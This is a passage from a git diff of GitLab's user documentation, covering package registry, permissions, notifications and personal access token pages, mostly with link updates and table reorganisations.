UI](delete_container_registry_images.md#use-the-gitlab-ui) to delete individual image tags or the entire repository containing all the tags. - Use the API to [delete individual image tags](../../../api/container_registry.md#delete-a-registry-repository-tag). - Use the API to [delete the entire container registry repository containing all the tags](../../../api/container_registry.md#delete-registry-repository). diff --git a/doc/user/packages/container_registry/troubleshoot_container_registry.md b/doc/user/packages/container_registry/troubleshoot_container_registry.md index eac7e0fcacd..68fe430e531 100644 --- a/doc/user/packages/container_registry/troubleshoot_container_registry.md +++ b/doc/user/packages/container_registry/troubleshoot_container_registry.md @@ -87,7 +87,7 @@ The following procedure uses these sample project names: docker tag gitlab.example.com/org/build/sample_project/cr:v2.9.1 gitlab.example.com/new_org/build/new_sample_project/cr:v2.9.1 ``` -1. Delete the images in the old project by using the [UI](index.md#delete-images) or [API](../../../api/packages.md#delete-a-project-package). +1. Delete the images in the old project by using the [UI](delete_container_registry_images.md) or [API](../../../api/packages.md#delete-a-project-package). There may be a delay while the images are queued and deleted. 1. Change the path or transfer the project: diff --git a/doc/user/packages/dependency_proxy/index.md b/doc/user/packages/dependency_proxy/index.md index b7a9729c8ba..a1a9d2a4915 100644 --- a/doc/user/packages/dependency_proxy/index.md +++ b/doc/user/packages/dependency_proxy/index.md @@ -169,7 +169,7 @@ build: - docker build -t test . ``` -You can also use [custom CI/CD variables](../../../ci/variables/index.md#custom-cicd-variables) to store and access your personal access token or deploy token. +You can also use [custom CI/CD variables](../../../ci/variables/index.md#for-a-project) to store and access your personal access token or deploy token. ### Store a Docker image in Dependency Proxy cache diff --git a/doc/user/packages/maven_repository/index.md b/doc/user/packages/maven_repository/index.md index c6c2f238564..2d1efd024a0 100644 --- a/doc/user/packages/maven_repository/index.md +++ b/doc/user/packages/maven_repository/index.md @@ -78,7 +78,7 @@ The three endpoints are: | -------- | ------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------- | | Project | `https://gitlab.example.com/api/v4/projects/<project_id>/packages/maven` | Replace `gitlab.example.com` with your domain name. Replace `<project_id>` with your project ID, found on your project's homepage. | | Group | `https://gitlab.example.com/api/v4/groups/<group_id>/-/packages/maven` | Replace `gitlab.example.com` with your domain name. Replace `<group_id>` with your group ID, found on your group's homepage. | -| Instance | `https:///gitlab.example.com/api/v4/packages/maven` | Replace `gitlab.example.com` with your domain name. | +| Instance | `https://gitlab.example.com/api/v4/packages/maven` | Replace `gitlab.example.com` with your domain name. | ### Edit the `pom.xml` for publishing diff --git a/doc/user/packages/package_registry/index.md b/doc/user/packages/package_registry/index.md index caa305999c5..ab5d652b731 100644 --- a/doc/user/packages/package_registry/index.md +++ b/doc/user/packages/package_registry/index.md @@ -151,8 +151,6 @@ Several known issues exist when you allow anyone to pull from the Package Regist - Project-level endpoints are supported. Group-level and instance-level endpoints are not supported. Support for group-level endpoints is proposed in [issue 383537](https://gitlab.com/gitlab-org/gitlab/-/issues/383537). - It does not work with the [Composer](../composer_repository/index.md#install-a-composer-package), because Composer only has a group endpoint. -- It does not work with the [Debian](../debian_repository/index.md#install-a-package) repository. Support for the Debian repository is proposed in [issue 385258](https://gitlab.com/gitlab-org/gitlab/-/issues/385258). -- It does not work with the [Ruby gems](../rubygems_registry/index.md#install-a-ruby-gem) repository. Support for the Ruby gems repository is proposed in [issue 385259](https://gitlab.com/gitlab-org/gitlab/-/issues/385259). - It will work with Conan, but using [`conan search`](../conan_repository/index.md#search-for-conan-packages-in-the-package-registry) does not work. ## Accepting contributions diff --git a/doc/user/packages/package_registry/reduce_package_registry_storage.md b/doc/user/packages/package_registry/reduce_package_registry_storage.md index 1085cf5c239..673196ebad5 100644 --- a/doc/user/packages/package_registry/reduce_package_registry_storage.md +++ b/doc/user/packages/package_registry/reduce_package_registry_storage.md @@ -75,6 +75,8 @@ To access these project settings, you must be at least a maintainer on the relat to upload more than one copy of an asset. You can limit the number of duplicated assets to keep and automatically delete the oldest assets once the limit is reached. Unique filenames, such as those produced by Maven snapshots, are not considered when evaluating the number of duplicated assets to keep. + `Number of duplicated assets to keep` has a [fixed cadence of 12 hours](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/packages/cleanup/policy.rb). + ### Set cleanup limits to conserve resources A background process executes the package-cleanup policies. This process can take a long time to finish and consumes diff --git a/doc/user/packages/package_registry/supported_functionality.md b/doc/user/packages/package_registry/supported_functionality.md new file mode 100644 index 00000000000..e56ae88872a --- /dev/null +++ b/doc/user/packages/package_registry/supported_functionality.md @@ -0,0 +1,146 @@ +--- +stage: Package +group: Package Registry +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Supported package functionality + +The GitLab Package Registry supports different functionalities for each package type. This support includes publishing +and pulling packages, request forwarding, managing duplicates, and authentication. + +## Publishing packages **(FREE)** + +Packages can be published to your project, group, or instance. + +| Package type | Project | Group | Instance | +|-----------------------------------------------------|---------|-------|----------| +| [Maven](../maven_repository/index.md) | Y | N | N | +| [npm](../npm_registry/index.md) | Y | N | N | +| [NuGet](../nuget_repository/index.md) | Y | N | N | +| [PyPI](../pypi_repository/index.md) | Y | N | N | +| [Generic packages](../generic_packages/index.md) | Y | N | N | +| [Terraform](../terraform_module_registry/index.md) | Y | N | N | +| [Composer](../composer_repository/index.md) | N | Y | N | +| [Conan](../conan_repository/index.md) | Y | N | N | +| [Helm](../helm_repository/index.md) | Y | N | N | +| [Debian](../debian_repository/index.md) | Y | N | N | +| [Go](../go_proxy/index.md) | Y | N | Y | +| [Ruby gems](../rubygems_registry/index.md) | Y | N | N | + +## Pulling packages **(FREE)** + +Packages can be pulled from your project, group, or instance. + +| Package type | Project | Group | Instance | +|-----------------------------------------------------|---------|-------|----------| +| [Maven](../maven_repository/index.md) | Y | Y | Y | +| [npm](../npm_registry/index.md) | Y | Y | Y | +| [NuGet](../nuget_repository/index.md) | Y | Y | N | +| [PyPI](../pypi_repository/index.md) | Y | Y | N | +| [Generic packages](../generic_packages/index.md) | Y | N | N | +| [Terraform](../terraform_module_registry/index.md) | N | Y | N | +| [Composer](../composer_repository/index.md) | Y | Y | N | +| [Conan](../conan_repository/index.md) | Y | N | Y | +| [Helm](../helm_repository/index.md) | Y | N | N | +| [Debian](../debian_repository/index.md) | Y | N | N | +| [Go](../go_proxy/index.md) | Y | N | Y | +| [Ruby gems](../rubygems_registry/index.md) | Y | N | N | + +## Forwarding requests **(PREMIUM)** + +Requests for packages not found in your GitLab project are forwarded to the public registry. For example, Maven Central, npmjs, or PyPI. + +| Package type | Supports request forwarding | +|-----------------------------------------------------|-----------------------------| +| [Maven](../maven_repository/index.md) | Y | +| [npm](../npm_registry/index.md) | Y | +| [NuGet](../nuget_repository/index.md) | N | +| [PyPI](../pypi_repository/index.md) | Y | +| [Generic packages](../generic_packages/index.md) | N | +| [Terraform](../terraform_module_registry/index.md) | N | +| [Composer](../composer_repository/index.md) | N | +| [Conan](../conan_repository/index.md) | N | +| [Helm](../helm_repository/index.md) | N | +| [Debian](../debian_repository/index.md) | N | +| [Go](../go_proxy/index.md) | N | +| [Ruby gems](../rubygems_registry/index.md) | N | + +## Allow or prevent duplicates **(FREE)** + +By default, the GitLab package registry either allows or prevents duplicates based on the default of that specific package manager format. + +| Package type | Duplicates allowed? | +|-----------------------------------------------------|---------------------| +| [Maven](../maven_repository/index.md) | Y (configurable) | +| [npm](../npm_registry/index.md) | N | +| [NuGet](../nuget_repository/index.md) | Y | +| [PyPI](../pypi_repository/index.md) | N | +| [Generic packages](../generic_packages/index.md) | Y (configurable) | +| [Terraform](../terraform_module_registry/index.md) | N | +| [Composer](../composer_repository/index.md) | N | +| [Conan](../conan_repository/index.md) | N | +| [Helm](../helm_repository/index.md) | Y | +| [Debian](../debian_repository/index.md) | Y | +| [Go](../go_proxy/index.md) | N | +| [Ruby gems](../rubygems_registry/index.md) | Y | + +## Authentication tokens **(FREE)** + +GitLab tokens are used to authenticate with the GitLab Package Registry. + +The following tokens are supported: + +| Package type | Supported tokens | +|-----------------------------------------------------|------------------------------------------------------------------------| +| [Maven](../maven_repository/index.md) | Personal access, job tokens, deploy (project or group), project access | +| [npm](../npm_registry/index.md) | Personal access, job tokens, deploy (project or group), project access | +| [NuGet](../nuget_repository/index.md) | Personal access, job tokens, deploy (project or group), project access | +| [PyPI](../pypi_repository/index.md) | Personal access, job tokens, deploy (project or group), project access | +| [Generic packages](../generic_packages/index.md) | Personal access, job tokens, deploy (project or group), project access | +| [Terraform](../terraform_module_registry/index.md) | Personal access, job tokens, deploy (project or group), project access | +| [Composer](../composer_repository/index.md) | Personal access, job tokens, deploy (project or group), project access | +| [Conan](../conan_repository/index.md) | Personal access, job tokens, project access | +| [Helm](../helm_repository/index.md) | Personal access, job tokens, deploy (project or group) | +| [Debian](../debian_repository/index.md) | Personal access, job tokens, deploy (project or group) | +| [Go](../go_proxy/index.md) | Personal access, job tokens, project access | +| [Ruby gems](../rubygems_registry/index.md) | Personal access, job tokens, deploy (project or group) | + +## Authentication protocols **(FREE)** + +The following authentication protocols are supported: + +| Package type | Supported auth protocols | +|-----------------------------------------------------|--------------------------| +| [Maven](../maven_repository/index.md) | Headers | +| [npm](../npm_registry/index.md) | OAuth | +| [NuGet](../nuget_repository/index.md) | Basic auth | +| [PyPI](../pypi_repository/index.md) | Basic auth | +| [Generic packages](../generic_packages/index.md) | Basic auth | +| [Terraform](../terraform_module_registry/index.md) | Token | +| [Composer](../composer_repository/index.md) | OAuth | +| [Conan](../conan_repository/index.md) | OAuth, Basic auth | +| [Helm](../helm_repository/index.md) | Basic auth | +| [Debian](../debian_repository/index.md) | Basic auth | +| [Go](../go_proxy/index.md) | Basic auth | +| [Ruby gems](../rubygems_registry/index.md) | Token | + +## Supported hash types **(FREE)** + +Hash values are used to ensure you are using the correct package. You can view these values in the user interface or with the [API](../../../api/packages.md). + +The Package Registry supports the following hash types: + +| Package type | Supported hashes | +|--------------------------------------------------|----------------------------------| +| [Maven](../maven_repository/index.md) | MD5, SHA1 | +| [npm](../npm_registry/index.md) | SHA1 | +| [NuGet](../nuget_repository/index.md) | not applicable | +| [PyPI](../pypi_repository/index.md) | MD5, SHA256 | +| [Generic packages](../generic_packages/index.md) | SHA256 | +| [Composer](../composer_repository/index.md) | not applicable | +| [Conan](../conan_repository/index.md) | MD5, SHA1 | +| [Helm](../helm_repository/index.md) | not applicable | +| [Debian](../debian_repository/index.md) | MD5, SHA1, SHA256 | +| [Go](../go_proxy/index.md) | MD5, SHA1, SHA256 | +| [Ruby gems](../rubygems_registry/index.md) | MD5, SHA1, SHA256 (gemspec only) | diff --git a/doc/user/packages/package_registry/supported_hash_types.md b/doc/user/packages/package_registry/supported_hash_types.md index 6d7dbf87468..d39b8d60c93 100644 --- a/doc/user/packages/package_registry/supported_hash_types.md +++ b/doc/user/packages/package_registry/supported_hash_types.md @@ -1,25 +1,11 @@ --- -stage: Package -group: Package Registry -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +redirect_to: 'supported_functionality.md' +remove_date: '2023-04-22' --- -# Supported hash types **(FREE)** +This document was moved to [another location](supported_functionality.md). -Hash values are used to ensure you are using the correct package. You can view these values in the user interface or with the [API](../../../api/packages.md). - -The Package Registry supports the following hash types: - -| Package type | Supported hashes | -|--------------------------------------------------|----------------------------------| -| [Maven](../maven_repository/index.md) | MD5, SHA1 | -| [npm](../npm_registry/index.md) | SHA1 | -| [NuGet](../nuget_repository/index.md) | not applicable | -| [PyPI](../pypi_repository/index.md) | MD5, SHA256 | -| [Generic packages](../generic_packages/index.md) | SHA256 | -| [Composer](../composer_repository/index.md) | not applicable | -| [Conan](../conan_repository/index.md) | MD5, SHA1 | -| [Helm](../helm_repository/index.md) | not applicable | -| [Debian](../debian_repository/index.md) | MD5, SHA1, SHA256 | -| [Go](../go_proxy/index.md) | MD5, SHA1, SHA256 | -| [Ruby gems](../rubygems_registry/index.md) | MD5, SHA1, SHA256 (gemspec only) | +<!-- This redirect file can be deleted after <2023-04-22>. --> +<!-- Redirects that point to other docs in the same project expire in three months. --> +<!-- Redirects that point to docs in a different project or site (for example, link is not relative and starts with `https:`) expire in one year. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/redirects.html --> diff --git a/doc/user/permissions.md b/doc/user/permissions.md index f3702b848fa..8455db45030 100644 --- a/doc/user/permissions.md +++ b/doc/user/permissions.md @@ -71,7 +71,7 @@ The following table lists project permissions available for each role: | [Application security](application_security/index.md):<br>Create or assign [security policy project](application_security/policies/index.md) | | | | | ✓ | | [Clusters](infrastructure/clusters/index.md):<br>View clusters | | | ✓ | ✓ | ✓ | | [Clusters](infrastructure/clusters/index.md):<br>Manage clusters | | | | ✓ | ✓ | -| [Container Registry](packages/container_registry/index.md):<br>Create, edit, delete [cleanup policies](packages/container_registry/index.md#delete-images-by-using-a-cleanup-policy) | | | | ✓ | ✓ | +| [Container Registry](packages/container_registry/index.md):<br>Create, edit, delete [cleanup policies](packages/container_registry/delete_container_registry_images.md#use-a-cleanup-policy) | | | | ✓ | ✓ | | [Container Registry](packages/container_registry/index.md):<br>Push an image to the Container Registry | | | ✓ | ✓ | ✓ | | [Container Registry](packages/container_registry/index.md):<br>Pull an image from the Container Registry | ✓ (*19*) | ✓ (*19*) | ✓ | ✓ | ✓ | | [Container Registry](packages/container_registry/index.md):<br>Remove a Container Registry image | | | ✓ | ✓ | ✓ | @@ -222,8 +222,8 @@ The following table lists project permissions available for each role: 1. On self-managed GitLab instances, guest users are able to perform this action only on public and internal projects (not on private projects). [External users](admin_area/external_users.md) - must be given explicit access even if the project is internal. For GitLab.com, see the - [GitLab.com visibility settings](gitlab_com/index.md#visibility-settings). + must be given explicit access even if the project is internal. Users with the Guest role on GitLab.com are + only able to perform this action on public projects because internal visibility is not available. 2. Guest users can only view the [confidential issues](project/issues/confidential_issues.md) they created themselves or are assigned to. 3. Not allowed for Guest, Reporter, Developer, Maintainer, or Owner. See [protected branches](project/protected_branches.md). 4. If the [branch is protected](project/protected_branches.md), this depends on the access given to Developers and Maintainers. @@ -236,7 +236,7 @@ The following table lists project permissions available for each role: 10. Users can only view events based on their individual actions. 11. Project access tokens are supported for self-managed instances on Free and above. They are also supported on GitLab SaaS Premium and above (excluding [trial licenses](https://about.gitlab.com/free-trial/)). -12. If the [tag is protected](#release-permissions-with-protected-tags), this depends on the access given to Developers and Maintainers. +12. If the [tag is protected](project/protected_tags.md), this depends on the access given to Developers and Maintainers. 13. A Maintainer or Owner can't change project features visibility level if [project visibility](public_access.md) is set to private. 14. Attached design files are moved together with the issue even if the user doesn't have the @@ -276,7 +276,7 @@ More details about the permissions for some project-level features follow. | View pipeline details page | ✓ (*1*) | ✓ (*2*) | ✓ | ✓ | ✓ | ✓ | | View pipelines page | ✓ (*1*) | ✓ (*2*) | ✓ | ✓ | ✓ | ✓ | | View pipelines tab in MR | ✓ (*3*) | ✓ (*3*) | ✓ | ✓ | ✓ | ✓ | -| [View vulnerabilities in a pipeline](application_security/vulnerability_report/pipeline.md#view-vulnerabilities-in-a-pipeline) | | ✓ (*2*) | ✓ | ✓ | ✓ | ✓ | +| [View vulnerabilities in a pipeline](application_security/vulnerability_report/pipeline.md#view-vulnerabilities-in-a-pipeline) | | ✓ (*2*) | ✓ | ✓ | ✓ | ✓ | | View and download project-level [Secure Files](../api/secure_files.md) | | | | ✓ | ✓ | ✓ | | Cancel and retry jobs | | | | ✓ | ✓ | ✓ | | Create new [environments](../ci/environments/index.md) | | | | ✓ | ✓ | ✓ | @@ -284,7 +284,7 @@ More details about the permissions for some project-level features follow. | Run CI/CD pipeline | | | | ✓ | ✓ | ✓ | | Run CI/CD pipeline for a protected branch | | | | ✓ (*5*) | ✓ (*5*) | ✓ | | Stop [environments](../ci/environments/index.md) | | | | ✓ | ✓ | ✓ | -| View a job with [debug logging](../ci/variables/index.md#debug-logging) | | | | ✓ | ✓ | ✓ | +| View a job with [debug logging](../ci/variables/index.md#enable-debug-logging) | | | | ✓ | ✓ | ✓ | | Use pipeline editor | | | | ✓ | ✓ | ✓ | | Run [interactive web terminals](../ci/interactive_web_terminal/index.md) | | | | ✓ | ✓ | ✓ | | Add specific runners to project | | | | | ✓ | ✓ | @@ -332,24 +332,6 @@ This table shows granted privileges for jobs triggered by specific types of user 1. Only if the triggering user is not an external one. 1. Only if the triggering user is a member of the project. See also [Usage of private Docker images with `if-not-present` pull policy](http://docs.gitlabl.com/runner/security/index.html#usage-of-private-docker-images-with-if-not-present-pull-policy). -### File Locking permissions **(PREMIUM)** - -The user that locks a file or directory is the only one that can edit and push their changes back to the repository where the locked objects are located. - -Read through the documentation on [permissions for File Locking](project/file_lock.md#permissions) to learn more. - -### Confidential Issues permissions - -[Confidential issues](project/issues/confidential_issues.md) can be accessed by users with reporter and higher permission levels, -as well as by guest users that create a confidential issue or are assigned to it. To learn more, -read through the documentation on [permissions and access to confidential issues](project/issues/confidential_issues.md#permissions-and-access-to-confidential-issues). - -### Container Registry visibility permissions - -The ability to view the Container Registry and pull images is controlled by the Container Registry's -visibility permissions. Find these permissions for the Container Registry as described in the -[related documentation](packages/container_registry/index.md#container-registry-visibility-permissions). - ## Group members permissions Any user can remove themselves from a group, unless they are the last Owner of @@ -448,13 +430,13 @@ To learn more, read through the documentation on > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40942) in GitLab 13.4. -Owners can add members with a "minimal access" role to a parent group. Such users don't automatically have access to +Owners can add members with a "minimal access" role to a root group. Such users don't automatically have access to projects and subgroups underneath. Owners must explicitly add these "minimal access" users to the specific subgroups and projects. You can use minimal access to give the same member more than one role in a group: -1. Add the member to the parent group with a minimal access role. +1. Add the member to the root group with a minimal access role. 1. Invite the member as a direct member with a specific role in any subgroup or project in that group. Because of an [outstanding issue](https://gitlab.com/gitlab-org/gitlab/-/issues/267996), when minimal access users: @@ -470,20 +452,15 @@ Users with even a "minimal access" role are counted against your number of licen requirement does not apply for [GitLab Ultimate](https://about.gitlab.com/pricing/) subscriptions. -## Release permissions with protected tags - -[The permission to create tags](project/protected_tags.md) is used to define if a user can -create, edit, and delete [Releases](project/releases/index.md). - -See [Release permissions](project/releases/index.md#release-permissions) -for more information. - ## Related topics - [The GitLab principles behind permissions](https://about.gitlab.com/handbook/product/gitlab-the-product/#permissions-in-gitlab) - [Members](project/members/index.md) - Customize permissions on [protected branches](project/protected_branches.md) -- [LDAP users permissions](group/access_and_permissions.md#manage-group-memberships-via-ldap) +- [LDAP user permissions](group/access_and_permissions.md#manage-group-memberships-via-ldap) - [Value stream analytics permissions](analytics/value_stream_analytics.md#access-permissions-for-value-stream-analytics) - [Project aliases](../user/project/import/index.md#project-aliases) - [Auditor users](../administration/auditor_users.md) +- [Confidential issues](project/issues/confidential_issues.md) +- [Container Registry permissions](packages/container_registry/index.md#container-registry-visibility-permissions) +- [Release permissions](project/releases/index.md#release-permissions) diff --git a/doc/user/profile/account/two_factor_authentication.md b/doc/user/profile/account/two_factor_authentication.md index 39826bf59c4..5f23f50f439 100644 --- a/doc/user/profile/account/two_factor_authentication.md +++ b/doc/user/profile/account/two_factor_authentication.md @@ -444,7 +444,7 @@ This error occurs in the following scenarios: password. For 2FA-enabled users, a [personal access token](../personal_access_tokens.md) (PAT) must be used instead of a password. To authenticate: - Git requests over HTTP(S), a PAT with `read_repository` or `write_repository` scope is required. - - [GitLab Container Registry](../../packages/container_registry/index.md#authenticate-with-the-container-registry) requests, a PAT + - [GitLab Container Registry](../../packages/container_registry/authenticate_with_container_registry.md) requests, a PAT with `read_registry` or `write_registry` scope is required. - [Dependency Proxy](../../packages/dependency_proxy/index.md#authenticate-with-the-dependency-proxy) requests, a PAT with `read_registry` and `write_registry` scopes is required. diff --git a/doc/user/profile/contributions_calendar.md b/doc/user/profile/contributions_calendar.md index d66e555970a..49e6319aa12 100644 --- a/doc/user/profile/contributions_calendar.md +++ b/doc/user/profile/contributions_calendar.md @@ -1,6 +1,6 @@ --- stage: Manage -group: Workspace +group: Organization info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments type: concepts, howto --- diff --git a/doc/user/profile/index.md b/doc/user/profile/index.md index d6c5bd6c108..f178a3254f3 100644 --- a/doc/user/profile/index.md +++ b/doc/user/profile/index.md @@ -75,7 +75,9 @@ The following is hidden from your user profile page (`https://gitlab.example.com - Tabs for activity, groups, contributed projects, personal projects, starred projects, snippets NOTE: -Making your user profile page private does not hide all your public resources from the REST or GraphQL APIs. +Making your user profile page private does not hide all your public resources from +the REST or GraphQL APIs. For example, the email address associated with your commit +signature is accessible unless you [use an automatically-generated private commit email](#use-an-automatically-generated-private-commit-email). ### User visibility @@ -85,7 +87,7 @@ not. When visiting the public page of a user, you can only see the projects which you have privileges to. If the [public level is restricted](../admin_area/settings/visibility_and_access_controls.md#restrict-visibility-levels), -user profiles are only visible to signed-in users. +user profiles are only visible to authenticated users. ## Add details to your profile with a README @@ -389,7 +391,7 @@ Without the `config.extend_remember_period` flag, you would be forced to sign in - Receive emails for: - [Sign-ins from unknown IP addresses or devices](notifications.md#notifications-for-unknown-sign-ins) - [Attempted sign-ins using wrong two-factor authentication codes](notifications.md#notifications-for-attempted-sign-in-using-wrong-two-factor-authentication-codes) -- Manage applications that can [use GitLab as an OAuth provider](../../integration/oauth_provider.md#introduction-to-oauth) +- Manage applications that can [use GitLab as an OAuth provider](../../integration/oauth_provider.md) - Manage [personal access tokens](personal_access_tokens.md) to access your account via API and authorized applications - Manage [SSH keys](../ssh.md) to access your account via SSH - Change your [syntax highlighting theme](preferences.md#syntax-highlighting-theme) diff --git a/doc/user/profile/notifications.md b/doc/user/profile/notifications.md index d0a420a4bbd..7343aea8ce7 100644 --- a/doc/user/profile/notifications.md +++ b/doc/user/profile/notifications.md @@ -248,40 +248,37 @@ enabled a feature flag for [moved sidebar actions](../project/merge_requests/ind The following table presents the events that generate notifications for issues, merge requests, and epics: -| Event | Sent to | -|------------------------|---------| -| Change milestone issue | Subscribers and participants mentioned. | -| Change milestone merge request | Subscribers and participants mentioned. | -| Close epic | | -| Close issue | | -| Close merge request | | -| Failed pipeline | The author of the pipeline. | -| Fixed pipeline | The author of the pipeline. Enabled by default. _[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24309) in GitLab 13.1._ | -| Issue due | Participants and Custom notification level with this event selected. | -| Merge merge request | | -| Merge when pipeline succeeds | Author, Participants, Watchers, Subscribers, and Custom notification level with this event selected. Custom notification level is ignored for Author, Watchers and Subscribers. _[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211961) in GitLab 13.4._ | -| Merge request [marked as ready](../project/merge_requests/drafts.md) | Watchers and participants. _[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15332) in GitLab 13.10._ | -| New epic | | -| New issue | | -| New merge request | | -| New note | Participants, Watchers, Subscribers, and Custom notification level with this event selected. Also anyone mentioned by username in the comment, with notification level "Mention" or higher. | -| Push to merge request | Participants and Custom notification level with this event selected. | -| Reassign issue | Participants, Watchers, Subscribers, Custom notification level with this event selected, and the old assignee. | -| Reassign merge request | Participants, Watchers, Subscribers, Custom notification level with this event selected, and the old assignee. | -| Remove milestone issue | Subscribers and participants mentioned. | -| Remove milestone merge request | Subscribers and participants mentioned. | -| Reopen epic | | -| Reopen issue | | -| Reopen merge request | | -| Successful pipeline | The author of the pipeline, with Custom notification level for successful pipelines. If the pipeline failed previously, a "Fixed pipeline" message is sent for the first successful pipeline after the failure, and then a "Successful pipeline" message for any further successful pipelines. | - -If the title or description of an issue or merge request is -changed, notifications are sent to any **new** mentions by username as -if they had been mentioned in the original text. - -If an open merge request becomes unmergeable due to conflict, its author is notified about the cause. -If a user has also set the merge request to automatically merge when pipeline succeeds, -then that user is also notified. +| Type | Event | Sent to | +|------|-------|---------| +| Epic | Closed | Subscribers and participants. | +| Epic | New | Anyone mentioned by username in the description, with notification level "Mention" or higher. | +| Epic | New note | Participants, Watchers, Subscribers, and Custom notification level with this event selected. Also anyone mentioned by username in the comment, with notification level "Mention" or higher. | +| Epic | Reopened | Subscribers and participants. | +| Issue | Closed | Subscribers and participants. | +| Issue | Due | Participants and Custom notification level with this event selected. | +| Issue | Milestone changed | Subscribers and participants. | +| Issue | Milestone removed | Subscribers and participants. | +| Issue | New | Anyone mentioned by username in the description, with notification level "Mention" or higher. | +| Issue | New note | Participants, Watchers, Subscribers, and Custom notification level with this event selected. Also anyone mentioned by username in the comment, with notification level "Mention" or higher. | +| Issue | Title or description changed | Any new mentions by username. | +| Issue | Reassigned | Participants, Watchers, Subscribers, Custom notification level with this event selected, and the old assignee. | +| Issue | Reopened | Subscribers and participants. | +| Merge Request | Closed | Subscribers and participants. | +| Merge Request | Conflict | Author and any user that has set the merge request to automatically merge when pipeline succeeds. | +| Merge Request | [Marked as ready](../project/merge_requests/drafts.md) | Watchers and participants. _[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15332) in GitLab 13.10._ | +| Merge Request | Merged | Subscribers and participants. | +| Merge Request | Merged when pipeline succeeds | Author, Participants, Watchers, Subscribers, and Custom notification level with this event selected. Custom notification level is ignored for Author, Watchers and Subscribers. _[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211961) in GitLab 13.4._ | +| Merge Request | Milestone changed | Subscribers and participants. | +| Merge Request | Milestone removed | Subscribers and participants. | +| Merge Request | New | Anyone mentioned by username in the description, with notification level "Mention" or higher. | +| Merge Request | New note | Participants, Watchers, Subscribers, and Custom notification level with this event selected. Also anyone mentioned by username in the comment, with notification level "Mention" or higher. | +| Merge Request | Pushed | Participants and Custom notification level with this event selected. | +| Merge Request | Reassigned | Participants, Watchers, Subscribers, Custom notification level with this event selected, and the old assignee. | +| Merge Request | Reopened | Subscribers and participants. | +| Merge Request | Title or description changed | Any new mentions by username. | +| Pipeline | Failed | The author of the pipeline. | +| Pipeline | Fixed | The author of the pipeline. Enabled by default. _[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24309) in GitLab 13.1._ | +| Pipeline | Successful | The author of the pipeline, with Custom notification level for successful pipelines. If the pipeline failed previously, a "Fixed pipeline" message is sent for the first successful pipeline after the failure, and then a "Successful pipeline" message for any further successful pipelines. | By default, you don't receive notifications for issues, merge requests, or epics created by yourself. To always receive notifications on your own issues, merge requests, and so on, turn on diff --git a/doc/user/profile/personal_access_tokens.md b/doc/user/profile/personal_access_tokens.md index 507ad6378bc..90def3aa773 100644 --- a/doc/user/profile/personal_access_tokens.md +++ b/doc/user/profile/personal_access_tokens.md @@ -31,7 +31,7 @@ Personal access tokens are: - Required when [two-factor authentication (2FA)](account/two_factor_authentication.md) is enabled. - Used with a GitLab username to authenticate with GitLab features that require usernames. For example, [GitLab-managed Terraform state backend](../infrastructure/iac/terraform_state.md#use-your-gitlab-backend-as-a-remote-data-source) - and [Docker container registry](../packages/container_registry/index.md#authenticate-with-the-container-registry), + and [Docker container registry](../packages/container_registry/authenticate_with_container_registry.md), - Similar to [project access tokens](../project/settings/project_access_tokens.md) and [group access tokens](../group/settings/group_access_tokens.md), but are attached to a user rather than a project or group. @@ -115,6 +115,7 @@ A personal access token can perform actions based on the assigned scopes. | `read_registry` | Grants read-only (pull) access to a [Container Registry](../packages/container_registry/index.md) images if a project is private and authorization is required. Available only when the Container Registry is enabled. | | `write_registry` | Grants read-write (push) access to a [Container Registry](../packages/container_registry/index.md) images if a project is private and authorization is required. Available only when the Container Registry is enabled. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28958) in GitLab 12.10.) | | `sudo` | Grants permission to perform API actions as any user in the system, when authenticated as an administrator. | +| `admin_mode` | Grants permission to perform API actions as an administrator, when Admin Mode is enabled. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107875) in GitLab 15.8.) | ## When personal access tokens expire diff --git a/doc/user/project/clusters/deploy_to_cluster.md b/doc/user/project/clusters/deploy_to_cluster.md index 65e4a5d9fde..6e188a4923b 100644 --- a/doc/user/project/clusters/deploy_to_cluster.md +++ b/doc/user/project/clusters/deploy_to_cluster.md @@ -21,7 +21,7 @@ A Kubernetes cluster can be the destination for a deployment job. If the cluster from your jobs using tools such as `kubectl` or `helm`. - You don't use the GitLab cluster integration, you can still deploy to your cluster. However, you must configure Kubernetes tools yourself - using [CI/CD variables](../../../ci/variables/index.md#custom-cicd-variables) + using [CI/CD variables](../../../ci/variables/index.md#for-a-project) before you can interact with the cluster from your jobs. ## Deployment variables @@ -43,7 +43,7 @@ following command in your deployment job script, for Kubernetes to access the re ``` The Kubernetes cluster integration exposes these -[deployment variables](../../../ci/variables/index.md#deployment-variables) in the +[deployment variables](../../../ci/variables/predefined_variables.md#deployment-variables) in the GitLab CI/CD build environment to deployment jobs. Deployment jobs have [defined a target environment](../../../ci/environments/index.md). diff --git a/doc/user/project/clusters/multiple_kubernetes_clusters.md b/doc/user/project/clusters/multiple_kubernetes_clusters.md index 95d3bf6e121..c79f250da7a 100644 --- a/doc/user/project/clusters/multiple_kubernetes_clusters.md +++ b/doc/user/project/clusters/multiple_kubernetes_clusters.md @@ -26,7 +26,7 @@ differentiates the new cluster from the rest. When adding more than one Kubernetes cluster to your project, you need to differentiate them with an environment scope. The environment scope associates clusters with [environments](../../../ci/environments/index.md) similar to how the -[environment-specific CI/CD variables](../../../ci/variables/index.md#limit-the-environment-scope-of-a-cicd-variable) work. +[environment-specific CI/CD variables](../../../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable) work. The default environment scope is `*`, which means all jobs, regardless of their environment, use that cluster. Each scope can be used only by a single cluster diff --git a/doc/user/project/code_owners.md b/doc/user/project/code_owners.md index aeeacd495a7..641dff2766e 